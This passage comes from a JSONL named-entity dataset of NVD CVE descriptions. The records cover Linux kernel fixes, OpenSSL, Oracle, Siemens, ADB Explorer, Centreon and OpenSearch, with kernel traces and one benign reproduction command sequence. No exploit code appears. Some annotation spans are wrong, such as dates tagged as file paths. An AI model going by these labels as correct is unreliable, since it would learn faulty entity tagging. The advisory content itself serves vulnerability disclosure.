submit_bio_noacct+0x14c/0x4c8\n  verity_map+0x178/0x2c8\n  __map_bio+0x228/0x250\n  dm_submit_bio+0x1c4/0x678\n  __submit_bio+0x170/0x230\n  submit_bio_noacct_nocheck+0x16c/0x388\n  submit_bio_noacct+0x16c/0x4c8\n  submit_bio+0xb4/0x210\n  f2fs_submit_read_bio+0x4c/0xf0\n  f2fs_mpage_readpages+0x3b0/0x5f0\n  f2fs_readahead+0x90/0xe8\n\nTighten blk_throtl_activated() to also require that the throttle policy\nbit is set on the queue:\n\n  return q->td != NULL &&\n         test_bit(blkcg_policy_throtl.plid, q->blkcg_pols);\n\nThis prevents blk_should_throtl() from accessing throttle group state\nuntil policy data has been attached to blkgs.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[532, 556]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-40147"}}
{"text": "ADB Explorer is a fluent UI for ADB on Windows. Versions 0.9.26020 and below fail to validate the integrity or authenticity of the ADB binary path specified in the ManualAdbPath setting before executing it, allowing arbitrary code execution with the privileges of the current user. An attacker can exploit this by crafting a malicious App.txt settings file that points ManualAdbPath to an arbitrary executable, then convincing a victim to launch the application with a command-line argument directing it to the malicious configuration directory. This vulnerability could be leveraged through social engineering tactics, such as distributing a shortcut bundled with a crafted settings file in an archive, resulting in RCE upon application startup. Thus issue has been fixed in version 0.9.26021.", "spans": {"SYSTEM: Windows": [[39, 46]], "VULNERABILITY: code execution": [[226, 240]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-26959"}}
{"text": "The version of cri-o as released for Red Hat OpenShift Container Platform 4.9.48, 4.10.31, and 4.11.6 via RHBA-2022:6316, RHBA-2022:6257, and RHBA-2022:6658, respectively, included an incorrect version of cri-o missing the fix for CVE-2022-27652, which was previously fixed in OCP 4.9.41 and 4.10.12 via RHBA-2022:5433 and RHSA-2022:1600. This issue could allow an attacker with access to programs with inheritable file capabilities to elevate those capabilities to the permitted set when execve(2) runs. For more details, see https://access.redhat.com/security/cve/CVE-2022-27652.", "spans": {"CVE_ID: CVE-2022-27652": [[231, 245], [566, 580]], "DOMAIN: access.redhat.com": [[535, 552]], "ORGANIZATION: Red Hat": [[37, 44]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-3466"}}
{"text": "Vulnerability in the Primavera P6 Enterprise Project Portfolio Management product of Oracle Construction and Engineering (component: Web Access). Supported versions that are affected are 17.12.0-17.12.20, 18.8.0-18.8.23, 19.12.0-19.12.14 and 20.12.0-20.12.3. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Primavera P6 Enterprise Project Portfolio Management. While the vulnerability is in Primavera P6 Enterprise Project Portfolio Management, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Primavera P6 Enterprise Project Portfolio Management accessible data as well as unauthorized read access to a subset of Primavera P6 Enterprise Project Portfolio Management accessible data. CVSS 3.1 Base Score 6.4 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N).", "spans": {"ORGANIZATION: Oracle": [[85, 91]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-2366"}}
{"text": "Internally libssl in OpenSSL calls X509_verify_cert() on the client side to verify a certificate supplied by a server. That function may return a negative return value to indicate an internal error (for example out of memory). Such a negative return value is mishandled by OpenSSL and will cause an IO function (such as SSL_connect() or SSL_do_handshake()) to not indicate success and a subsequent call to SSL_get_error() to return the value SSL_ERROR_WANT_RETRY_VERIFY. This return value is only supposed to be returned by OpenSSL if the application has previously called SSL_CTX_set_cert_verify_callback(). Since most applications do not do this the SSL_ERROR_WANT_RETRY_VERIFY return value from SSL_get_error() will be totally unexpected and applications may not behave correctly as a result. The exact behaviour will depend on the application but it could result in crashes, infinite loops or other similar incorrect responses. This issue is made more serious in combination with a separate bug in OpenSSL 3.0 that will cause X509_verify_cert() to indicate an internal error when processing a certificate chain. This will occur where a certificate does not include the Subject Alternative Name extension but where a Certificate Authority has enforced name constraints. This issue can occur even with valid chains. By combining the two issues an attacker could induce incorrect, application dependent behaviour. Fixed in OpenSSL 3.0.1 (Affected 3.0.0).", "spans": {"SYSTEM: OpenSSL": [[21, 28], [273, 280], [524, 531], [1002, 1009], [1424, 1431]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-4044"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbtrfs: don't log conflicting inode if it's a dir moved in the current transaction\n\nWe can't log a conflicting inode if it's a directory and it was moved\nfrom one parent directory to another parent directory in the current\ntransaction, as this can result an attempt to have a directory with\ntwo hard links during log replay, one for the old parent directory and\nanother for the new parent directory.\n\nThe following scenario triggers that issue:\n\n1) We have directories \"dir1\" and \"dir2\" created in a past transaction.\n   Directory \"dir1\" has inode A as its parent directory;\n\n2) We move \"dir1\" to some other directory;\n\n3) We create a file with the name \"dir1\" in directory inode A;\n\n4) We fsync the new file. This results in logging the inode of the new file\n   and the inode for the directory \"dir1\" that was previously moved in the\n   current transaction. So the log tree has the INODE_REF item for the\n   new location of \"dir1\";\n\n5) We move the new file to some other directory. This results in updating\n   the log tree to included the new INODE_REF for the new location of the\n   file and removes the INODE_REF for the old location. This happens\n   during the rename when we call btrfs_log_new_name();\n\n6) We fsync the file, and that persists the log tree changes done in the\n   previous step (btrfs_log_new_name() only updates the log tree in\n   memory);\n\n7) We have a power failure;\n\n8) Next time the fs is mounted, log replay happens and when processing\n   the inode for directory \"dir1\" we find a new INODE_REF and add that\n   link, but we don't remove the old link of the inode since we have\n   not logged the old parent directory of the directory inode \"dir1\".\n\nAs a result after log replay finishes when we trigger writeback of the\nsubvolume tree's extent buffers, the tree check will detect that we have\na directory a hard link count of 2 and we get a mount failure.\nThe errors and stack traces reported in dmesg/syslog are like this:\n\n   [ 3845.729764] BTRFS info (device dm-0): start tree-log replay\n   [ 3845.730304] page: refcount:3 mapcount:0 mapping:000000005c8a3027 index:0x1d00 pfn:0x11510c\n   [ 3845.731236] memcg:ffff9264c02f4e00\n   [ 3845.731751] aops:btree_aops [btrfs] ino:1\n   [ 3845.732300] flags: 0x17fffc00000400a(uptodate|private|writeback|node=0|zone=2|lastcpupid=0x1ffff)\n   [ 3845.733346] raw: 017fffc00000400a 0000000000000000 dead000000000122 ffff9264d978aea8\n   [ 3845.734265] raw: 0000000000001d00 ffff92650e6d4738 00000003ffffffff ffff9264c02f4e00\n   [ 3845.735305] page dumped because: eb page dump\n   [ 3845.735981] BTRFS critical (device dm-0): corrupt leaf: root=5 block=30408704 slot=6 ino=257, invalid nlink: has 2 expect no more than 1 for dir\n   [ 3845.737786] BTRFS info (device dm-0): leaf 30408704 gen 10 total ptrs 17 free space 14881 owner 5\n   [ 3845.737789] BTRFS info (device dm-0): refs 4 lock_owner 0 current 30701\n   [ 3845.737792] \titem 0 key (256 INODE_ITEM 0) itemoff 16123 itemsize 160\n   [ 3845.737794] \t\tinode generation 3 transid 9 size 16 nbytes 16384\n   [ 3845.737795] \t\tblock group 0 mode 40755 links 1 uid 0 gid 0\n   [ 3845.737797] \t\trdev 0 sequence 2 flags 0x0\n   [ 3845.737798] \t\tatime 1764259517.0\n   [ 3845.737800] \t\tctime 1764259517.572889464\n   [ 3845.737801] \t\tmtime 1764259517.572889464\n   [ 3845.737802] \t\totime 1764259517.0\n   [ 3845.737803] \titem 1 key (256 INODE_REF 256) itemoff 16111 itemsize 12\n   [ 3845.737805] \t\tindex 0 name_len 2\n   [ 3845.737807] \titem 2 key (256 DIR_ITEM 2363071922) itemoff 16077 itemsize 34\n   [ 3845.737808] \t\tlocation key (257 1 0) type 2\n   [ 3845.737810] \t\ttransid 9 data_len 0 name_len 4\n   [ 3845.737811] \titem 3 key (256 DIR_ITEM 2676584006) itemoff 16043 itemsize 34\n   [ 3845.737813] \t\tlocation key (258 1 0) type 2\n   [ 3845.737814] \t\ttransid 9 data_len 0 name_len 4\n   [ 3845.737815] \titem 4 key (256 DIR_INDEX 2) itemoff 16009 itemsize 34\n   [ 3845.737816] \t\tlocation key (257 1 0) type 2\n   [\n---truncated---", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-68778"}}
{"text": "Vulnerability in the Oracle Human Resources product of Oracle E-Business Suite (component: Hierarchy Diagrammers). Supported versions that are affected are 12.1.1-12.1.3 and 12.2.3-12.2.9. Easily exploitable vulnerability allows low privileged attacker with network access via HTTPS to compromise Oracle Human Resources. While the vulnerability is in Oracle Human Resources, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Human Resources accessible data as well as unauthorized access to critical data or complete access to all Oracle Human Resources accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Human Resources. CVSS 3.0 Base Score 9.9 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [55, 61], [297, 303], [351, 357], [563, 569], [676, 682], [794, 800]], "VULNERABILITY: denial of service": [[759, 776]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-2587"}}
{"text": "libspf2 before 1.2.11 has a heap-based buffer overflow that might allow remote attackers to execute arbitrary code (via an unauthenticated e-mail message from anywhere on the Internet) with a crafted SPF DNS record, because of SPF_record_expand_data in spf_expand.c. The amount of overflowed data depends on the relationship between the length of an entire domain name and the length of its leftmost label. The vulnerable code may be part of the supply chain of a site's e-mail infrastructure (e.g., with additional configuration, Exim can use libspf2; the Postfix web site links to unofficial patches for use of libspf2 with Postfix; older versions of spfquery relied on libspf2) but most often is not.", "spans": {"FILEPATH: spf_expand.c": [[253, 265]], "SYSTEM: Postfix": [[557, 564], [626, 633]], "SYSTEM: Exim": [[531, 535]], "VULNERABILITY: heap-based buffer overflow": [[28, 54]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-33913"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nfbdev: udlfb: Fix endpoint check\n\nThe syzbot fuzzer detected a problem in the udlfb driver, caused by an\nendpoint not having the expected type:\n\nusb 1-1: Read EDID byte 0 failed: -71\nusb 1-1: Unable to get valid EDID from device/display\n------------[ cut here ]------------\nusb 1-1: BOGUS urb xfer, pipe 3 != type 1\nWARNING: CPU: 0 PID: 9 at drivers/usb/core/urb.c:504 usb_submit_urb+0xed6/0x1880\ndrivers/usb/core/urb.c:504\nModules linked in:\nCPU: 0 PID: 9 Comm: kworker/0:1 Not tainted\n6.4.0-rc1-syzkaller-00016-ga4422ff22142 #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google\n04/28/2023\nWorkqueue: usb_hub_wq hub_event\nRIP: 0010:usb_submit_urb+0xed6/0x1880 drivers/usb/core/urb.c:504\n...\nCall Trace:\n <TASK>\n dlfb_submit_urb+0x92/0x180 drivers/video/fbdev/udlfb.c:1980\n dlfb_set_video_mode+0x21f0/0x2950 drivers/video/fbdev/udlfb.c:315\n dlfb_ops_set_par+0x2a7/0x8d0 drivers/video/fbdev/udlfb.c:1111\n dlfb_usb_probe+0x149a/0x2710 drivers/video/fbdev/udlfb.c:1743\n\nThe current approach for this issue failed to catch the problem\nbecause it only checks for the existence of a bulk-OUT endpoint; it\ndoesn't check whether this endpoint is the one that the driver will\nactually use.\n\nWe can fix the problem by instead checking that the endpoint used by\nthe driver does exist and is bulk-OUT.", "spans": {"FILEPATH: /usb/core/urb.c": [[418, 433], [473, 488], [766, 781]], "FILEPATH: /28/2023": [[680, 688]], "FILEPATH: /video/fbdev/udlfb.c": [[845, 865], [913, 933], [975, 995], [1038, 1058]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[614, 620], [621, 627], [643, 649], [671, 677]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-54277"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nRevert \"smb: client: fix TCP timers deadlock after rmmod\"\n\nThis reverts commit e9f2517a3e18a54a3943c098d2226b245d488801.\n\nCommit e9f2517a3e18 (\"smb: client: fix TCP timers deadlock after\nrmmod\") is intended to fix a null-ptr-deref in LOCKDEP, which is\nmentioned as CVE-2024-54680, but is actually did not fix anything;\nThe issue can be reproduced on top of it. [0]\n\nAlso, it reverted the change by commit ef7134c7fc48 (\"smb: client:\nFix use-after-free of network namespace.\") and introduced a real\nissue by reviving the kernel TCP socket.\n\nWhen a reconnect happens for a CIFS connection, the socket state\ntransitions to FIN_WAIT_1.  Then, inet_csk_clear_xmit_timers_sync()\nin tcp_close() stops all timers for the socket.\n\nIf an incoming FIN packet is lost, the socket will stay at FIN_WAIT_1\nforever, and such sockets could be leaked up to net.ipv4.tcp_max_orphans.\n\nUsually, FIN can be retransmitted by the peer, but if the peer aborts\nthe connection, the issue comes into reality.\n\nI warned about this privately by pointing out the exact report [1],\nbut the bogus fix was finally merged.\n\nSo, we should not stop the timers to finally kill the connection on\nour side in that case, meaning we must not use a kernel socket for\nTCP whose sk->sk_net_refcnt is 0.\n\nThe kernel socket does not have a reference to its netns to make it\npossible to tear down netns without cleaning up every resource in it.\n\nFor example, tunnel devices use a UDP socket internally, but we can\ndestroy netns without removing such devices and let it complete\nduring exit.  Otherwise, netns would be leaked when the last application\ndied.\n\nHowever, this is problematic for TCP sockets because TCP has timers to\nclose the connection gracefully even after the socket is close()d.  The\nlifetime of the socket and its netns is different from the lifetime of\nthe underlying connection.\n\nIf the socket user does not maintain the netns lifetime, the timer could\nbe fired after the socket is close()d and its netns is freed up, resulting\nin use-after-free.\n\nActually, we have seen so many similar issues and converted such sockets\nto have a reference to netns.\n\nThat's why I converted the CIFS client socket to have a reference to\nnetns (sk->sk_net_refcnt == 1), which is somehow mentioned as out-of-scope\nof CIFS and technically wrong in e9f2517a3e18, but **is in-scope and right\nfix**.\n\nRegarding the LOCKDEP issue, we can prevent the module unload by\nbumping the module refcount when switching the LOCKDDEP key in\nsock_lock_init_class_and_name(). [2]\n\nFor a while, let's revert the bogus fix.\n\nNote that now we can use sk_net_refcnt_upgrade() for the socket\nconversion, but I'll do so later separately to make backport easy.", "spans": {"CVE_ID: CVE-2024-54680": [[334, 348]], "HASH: e9f2517a3e18a54a3943c098d2226b245d488801": [[148, 188]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use-after-free": [[506, 520], [2074, 2088]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-22077"}}
{"text": "A vulnerability has been identified in SIMATIC Automation Tool (All versions < V4 SP2), SIMATIC NET PC Software V14 (All versions < V14 SP1 Update 14), SIMATIC NET PC Software V15 (All versions), SIMATIC NET PC Software V16 (All versions < V16 Upd3), SIMATIC PCS neo (All versions < V3.0 SP1), SIMATIC ProSave (All versions < V17), SIMATIC S7-1500 Software Controller (All versions < V21.8), SIMATIC STEP 7 (TIA Portal) V13 (All versions < V13 SP2 Update 4), SIMATIC STEP 7 (TIA Portal) V14 (All versions < V14 SP1 Update 10), SIMATIC STEP 7 (TIA Portal) V15 (All versions < V15.1 Update 5), SIMATIC STEP 7 (TIA Portal) V16 (All versions < V16 Update 2), SIMATIC STEP 7 V5 (All versions < V5.6 SP2 HF3), SIMATIC WinCC OA V3.16 (All versions < V3.16 P018), SIMATIC WinCC OA V3.17 (All versions < V3.17 P003), SIMATIC WinCC Runtime Advanced (All versions < V16 Update 2), SIMATIC WinCC Runtime Professional V13 (All versions < V13 SP2 Update 4), SIMATIC WinCC Runtime Professional V14 (All versions < V14 SP1 Update 10), SIMATIC WinCC Runtime Professional V15 (All versions < V15.1 Update 5), SIMATIC WinCC Runtime Professional V16 (All versions < V16 Update 2), SIMATIC WinCC V7.4 (All versions < V7.4 SP1 Update 14), SIMATIC WinCC V7.5 (All versions < V7.5 SP1 Update 3), SINAMICS STARTER (All Versions < V5.4 HF2), SINAMICS Startdrive (All Versions < V16 Update 3), SINEC NMS (All versions < V1.0 SP2), SINEMA Server (All versions < V14 SP3), SINUMERIK ONE virtual (All Versions < V6.14), SINUMERIK Operate (All Versions < V6.14). A common component used by the affected applications regularly calls a helper binary with SYSTEM privileges while the call path is not quoted. This could allow a local attacker to execute arbitrary code with SYTEM privileges.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-7580"}}
{"text": "A SQL injection vulnerability in reporting export in Centreon before 20.04.14, 20.10.8, and 21.04.2 allows remote authenticated (but low-privileged) attackers to execute arbitrary SQL commands via the include/reporting/dashboard/csvExport/csv_HostGroupLogs.php start and end parameters.", "spans": {"FILEPATH: /reporting/dashboard/csvExport/csv_HostGroupLogs.php": [[208, 260]], "VULNERABILITY: SQL injection": [[2, 15]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-37556"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndm-bufio: fix sched in atomic context\n\nIf \"try_verify_in_tasklet\" is set for dm-verity, DM_BUFIO_CLIENT_NO_SLEEP\nis enabled for dm-bufio. However, when bufio tries to evict buffers, there\nis a chance to trigger scheduling in spin_lock_bh, the following warning\nis hit:\n\nBUG: sleeping function called from invalid context at drivers/md/dm-bufio.c:2745\nin_atomic(): 1, irqs_disabled(): 0, non_block: 0, pid: 123, name: kworker/2:2\npreempt_count: 201, expected: 0\nRCU nest depth: 0, expected: 0\n4 locks held by kworker/2:2/123:\n #0: ffff88800a2d1548 ((wq_completion)dm_bufio_cache){....}-{0:0}, at: process_one_work+0xe46/0x1970\n #1: ffffc90000d97d20 ((work_completion)(&dm_bufio_replacement_work)){....}-{0:0}, at: process_one_work+0x763/0x1970\n #2: ffffffff8555b528 (dm_bufio_clients_lock){....}-{3:3}, at: do_global_cleanup+0x1ce/0x710\n #3: ffff88801d5820b8 (&c->spinlock){....}-{2:2}, at: do_global_cleanup+0x2a5/0x710\nPreemption disabled at:\n[<0000000000000000>] 0x0\nCPU: 2 UID: 0 PID: 123 Comm: kworker/2:2 Not tainted 6.16.0-rc3-g90548c634bd0 #305 PREEMPT(voluntary)\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.3-0-ga6ed6b701f0a-prebuilt.qemu.org 04/01/2014\nWorkqueue: dm_bufio_cache do_global_cleanup\nCall Trace:\n <TASK>\n dump_stack_lvl+0x53/0x70\n __might_resched+0x360/0x4e0\n do_global_cleanup+0x2f5/0x710\n process_one_work+0x7db/0x1970\n worker_thread+0x518/0xea0\n kthread+0x359/0x690\n ret_from_fork+0xf3/0x1b0\n ret_from_fork_asm+0x1a/0x30\n </TASK>\n\nThat can be reproduced by:\n\n  veritysetup format --data-block-size=4096 --hash-block-size=4096 /dev/vda /dev/vdb\n  SIZE=$(blockdev --getsz /dev/vda)\n  dmsetup create myverity -r --table \"0 $SIZE verity 1 /dev/vda /dev/vdb 4096 4096 <data_blocks> 1 sha256 <root_hash> <salt> 1 try_verify_in_tasklet\"\n  mount /dev/dm-0 /mnt -o ro\n  echo 102400 > /sys/module/dm_bufio/parameters/max_cache_size_bytes\n  [read files in /mnt]", "spans": {"DOMAIN: rel-1.16.3-0-ga6ed6b701f0a-prebuilt.qemu.org": [[1200, 1244]], "FILEPATH: /md/dm-bufio.c": [[400, 414]], "FILEPATH: /01/2014": [[1247, 1255]], "FILEPATH: /dev/vda": [[1645, 1653], [1689, 1697], [1754, 1762]], "FILEPATH: /dev/vdb": [[1654, 1662], [1763, 1771]], "FILEPATH: /dev/dm-0": [[1857, 1866]], "FILEPATH: /sys/module/dm_bufio/parameters/max_cache_size_bytes": [[1894, 1946]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[1155, 1159]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38496"}}
{"text": "OpenSearch is a community-driven, open source fork of Elasticsearch and Kibana following the license change in early 2021. There is an issue with the implementation of tenant permissions in OpenSearch Dashboards where authenticated users with read-only access to a tenant can perform create, edit and delete operations on index metadata of dashboards and visualizations in that tenant, potentially rendering them unavailable. This issue does not affect index data, only metadata. Dashboards correctly enforces read-only permissions when indexing and updating documents. This issue does not provide additional read access to data users don’t already have. This issue can be mitigated by disabling the tenants functionality for the cluster. Versions 1.3.14 and 2.11.0 contain a fix for this issue.", "spans": {"SYSTEM: Elasticsearch": [[54, 67]], "SYSTEM: Kibana": [[72, 78]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-45807"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nSUNRPC: Fix null-ptr-deref when xps sysfs alloc failed\n\nThere is a null-ptr-deref when xps sysfs alloc failed:\n  BUG: KASAN: null-ptr-deref in sysfs_do_create_link_sd+0x40/0xd0\n  Read of size 8 at addr 0000000000000030 by task gssproxy/457\n\n  CPU: 5 PID: 457 Comm: gssproxy Not tainted 6.0.0-09040-g02357b27ee03 #9\n  Call Trace:\n   <TASK>\n   dump_stack_lvl+0x34/0x44\n   kasan_report+0xa3/0x120\n   sysfs_do_create_link_sd+0x40/0xd0\n   rpc_sysfs_client_setup+0x161/0x1b0\n   rpc_new_client+0x3fc/0x6e0\n   rpc_create_xprt+0x71/0x220\n   rpc_create+0x1d4/0x350\n   gssp_rpc_create+0xc3/0x160\n   set_gssp_clnt+0xbc/0x140\n   write_gssp+0x116/0x1a0\n   proc_reg_write+0xd6/0x130\n   vfs_write+0x177/0x690\n   ksys_write+0xb9/0x150\n   do_syscall_64+0x35/0x80\n   entry_SYSCALL_64_after_hwframe+0x46/0xb0\n\nWhen the xprt_switch sysfs alloc failed, should not add xprt and\nswitch sysfs to it, otherwise, maybe null-ptr-deref; also initialize\nthe 'xps_sysfs' to NULL to avoid oops when destroy it.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49928"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/mlx5: fs, lock FTE when checking if active\n\nThe referenced commits introduced a two-step process for deleting FTEs:\n\n- Lock the FTE, delete it from hardware, set the hardware deletion function\n  to NULL and unlock the FTE.\n- Lock the parent flow group, delete the software copy of the FTE, and\n  remove it from the xarray.\n\nHowever, this approach encounters a race condition if a rule with the same\nmatch value is added simultaneously. In this scenario, fs_core may set the\nhardware deletion function to NULL prematurely, causing a panic during\nsubsequent rule deletions.\n\nTo prevent this, ensure the active flag of the FTE is checked under a lock,\nwhich will prevent the fs_core layer from attaching a new steering rule to\nan FTE that is in the process of deletion.\n\n[  438.967589] MOSHE: 2496 mlx5_del_flow_rules del_hw_func\n[  438.968205] ------------[ cut here ]------------\n[  438.968654] refcount_t: decrement hit 0; leaking memory.\n[  438.969249] WARNING: CPU: 0 PID: 8957 at lib/refcount.c:31 refcount_warn_saturate+0xfb/0x110\n[  438.970054] Modules linked in: act_mirred cls_flower act_gact sch_ingress openvswitch nsh mlx5_vdpa vringh vhost_iotlb vdpa mlx5_ib mlx5_core xt_conntrack xt_MASQUERADE nf_conntrack_netlink nfnetlink xt_addrtype iptable_nat nf_nat br_netfilter rpcsec_gss_krb5 auth_rpcgss oid_registry overlay rpcrdma rdma_ucm ib_iser libiscsi scsi_transport_iscsi ib_umad rdma_cm ib_ipoib iw_cm ib_cm ib_uverbs ib_core zram zsmalloc fuse [last unloaded: cls_flower]\n[  438.973288] CPU: 0 UID: 0 PID: 8957 Comm: tc Not tainted 6.12.0-rc1+ #8\n[  438.973888] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS rel-1.13.0-0-gf21b5a4aeb02-prebuilt.qemu.org 04/01/2014\n[  438.974874] RIP: 0010:refcount_warn_saturate+0xfb/0x110\n[  438.975363] Code: 40 66 3b 82 c6 05 16 e9 4d 01 01 e8 1f 7c a0 ff 0f 0b c3 cc cc cc cc 48 c7 c7 10 66 3b 82 c6 05 fd e8 4d 01 01 e8 05 7c a0 ff <0f> 0b c3 cc cc cc cc 66 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 90\n[  438.976947] RSP: 0018:ffff888124a53610 EFLAGS: 00010286\n[  438.977446] RAX: 0000000000000000 RBX: ffff888119d56de0 RCX: 0000000000000000\n[  438.978090] RDX: ffff88852c828700 RSI: ffff88852c81b3c0 RDI: ffff88852c81b3c0\n[  438.978721] RBP: ffff888120fa0e88 R08: 0000000000000000 R09: ffff888124a534b0\n[  438.979353] R10: 0000000000000001 R11: 0000000000000001 R12: ffff888119d56de0\n[  438.979979] R13: ffff888120fa0ec0 R14: ffff888120fa0ee8 R15: ffff888119d56de0\n[  438.980607] FS:  00007fe6dcc0f800(0000) GS:ffff88852c800000(0000) knlGS:0000000000000000\n[  438.983984] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[  438.984544] CR2: 00000000004275e0 CR3: 0000000186982001 CR4: 0000000000372eb0\n[  438.985205] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\n[  438.985842] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\n[  438.986507] Call Trace:\n[  438.986799]  <TASK>\n[  438.987070]  ? __warn+0x7d/0x110\n[  438.987426]  ? refcount_warn_saturate+0xfb/0x110\n[  438.987877]  ? report_bug+0x17d/0x190\n[  438.988261]  ? prb_read_valid+0x17/0x20\n[  438.988659]  ? handle_bug+0x53/0x90\n[  438.989054]  ? exc_invalid_op+0x14/0x70\n[  438.989458]  ? asm_exc_invalid_op+0x16/0x20\n[  438.989883]  ? refcount_warn_saturate+0xfb/0x110\n[  438.990348]  mlx5_del_flow_rules+0x2f7/0x340 [mlx5_core]\n[  438.990932]  __mlx5_eswitch_del_rule+0x49/0x170 [mlx5_core]\n[  438.991519]  ? mlx5_lag_is_sriov+0x3c/0x50 [mlx5_core]\n[  438.992054]  ? xas_load+0x9/0xb0\n[  438.992407]  mlx5e_tc_rule_unoffload+0x45/0xe0 [mlx5_core]\n[  438.993037]  mlx5e_tc_del_fdb_flow+0x2a6/0x2e0 [mlx5_core]\n[  438.993623]  mlx5e_flow_put+0x29/0x60 [mlx5_core]\n[  438.994161]  mlx5e_delete_flower+0x261/0x390 [mlx5_core]\n[  438.994728]  tc_setup_cb_destroy+0xb9/0x190\n[  438.995150]  fl_hw_destroy_filter+0x94/0xc0 [cls_flower]\n[  438.995650]  fl_change+0x11a4/0x13c0 [cls_flower]\n[  438.996105]  tc_new_tfilter+0x347/0xbc0\n[  438.996503]  ? __\n---truncated---", "spans": {"DOMAIN: rel-1.13.0-0-gf21b5a4aeb02-prebuilt.qemu.org": [[1708, 1752]], "FILEPATH: /01/2014": [[1755, 1763]], "FILEPATH: refcount.c": [[1060, 1070]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[1666, 1670]], "VULNERABILITY: race condition": [[433, 447]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-53121"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: rtw89: avoid to init mgnt_entry list twice when WoWLAN failed\n\nIf WoWLAN failed in resume flow, the rtw89_ops_add_interface() triggered\nwithout removing the interface first. Then the mgnt_entry list init again,\ncausing the list_empty() check in rtw89_chanctx_ops_assign_vif()\nuseless, and list_add_tail() again. Therefore, we have added a check to\nprevent double adding of the list.\n\nrtw89_8852ce 0000:01:00.0: failed to check wow status disabled\nrtw89_8852ce 0000:01:00.0: wow: failed to check disable fw ready\nrtw89_8852ce 0000:01:00.0: wow: failed to swap to normal fw\nrtw89_8852ce 0000:01:00.0: failed to disable wow\nrtw89_8852ce 0000:01:00.0: failed to resume for wow -110\nrtw89_8852ce 0000:01:00.0: MAC has already powered on\ni2c_hid_acpi i2c-ILTK0001:00: PM: acpi_subsys_resume+0x0/0x60 returned 0 after 284705 usecs\nlist_add corruption. prev->next should be next (ffff9d9719d82228), but was ffff9d9719f96030. (prev=ffff9d9719f96030).\n------------[ cut here ]------------\nkernel BUG at lib/list_debug.c:34!\ninvalid opcode: 0000 [#1] PREEMPT SMP NOPTI\nCPU: 2 PID: 6918 Comm: kworker/u8:19 Tainted: G     U     O\nHardware name: Google Anraggar/Anraggar, BIOS Google_Anraggar.15217.514.0 03/25/2024\nWorkqueue: events_unbound async_run_entry_fn\nRIP: 0010:__list_add_valid_or_report+0x9f/0xb0\nCode: e8 56 89 ff ff 0f 0b 48 c7 c7 3e fc e0 96 48 89 c6 e8 45 89 ff ...\nRSP: 0018:ffffa51b42bbbaf0 EFLAGS: 00010246\nRAX: 0000000000000075 RBX: ffff9d9719d82ab0 RCX: 13acb86e047a4400\nRDX: 3fffffffffffffff RSI: 0000000000000000 RDI: 00000000ffffdfff\nRBP: ffffa51b42bbbb28 R08: ffffffff9768e250 R09: 0000000000001fff\nR10: ffffffff9765e250 R11: 0000000000005ffd R12: ffff9d9719f95c40\nR13: ffff9d9719f95be8 R14: ffff9d97081bfd78 R15: ffff9d9719d82060\nFS:  0000000000000000(0000) GS:ffff9d9a6fb00000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 00007e7d029a4060 CR3: 0000000345e38000 CR4: 0000000000750ee0\nPKRU: 55555554\nCall Trace:\n <TASK>\n ? __die_body+0x68/0xb0\n ? die+0xaa/0xd0\n ? do_trap+0x9f/0x170\n ? __list_add_valid_or_report+0x9f/0xb0\n ? __list_add_valid_or_report+0x9f/0xb0\n ? handle_invalid_op+0x69/0x90\n ? __list_add_valid_or_report+0x9f/0xb0\n ? exc_invalid_op+0x3c/0x50\n ? asm_exc_invalid_op+0x16/0x20\n ? __list_add_valid_or_report+0x9f/0xb0\n rtw89_chanctx_ops_assign_vif+0x1f9/0x210 [rtw89_core 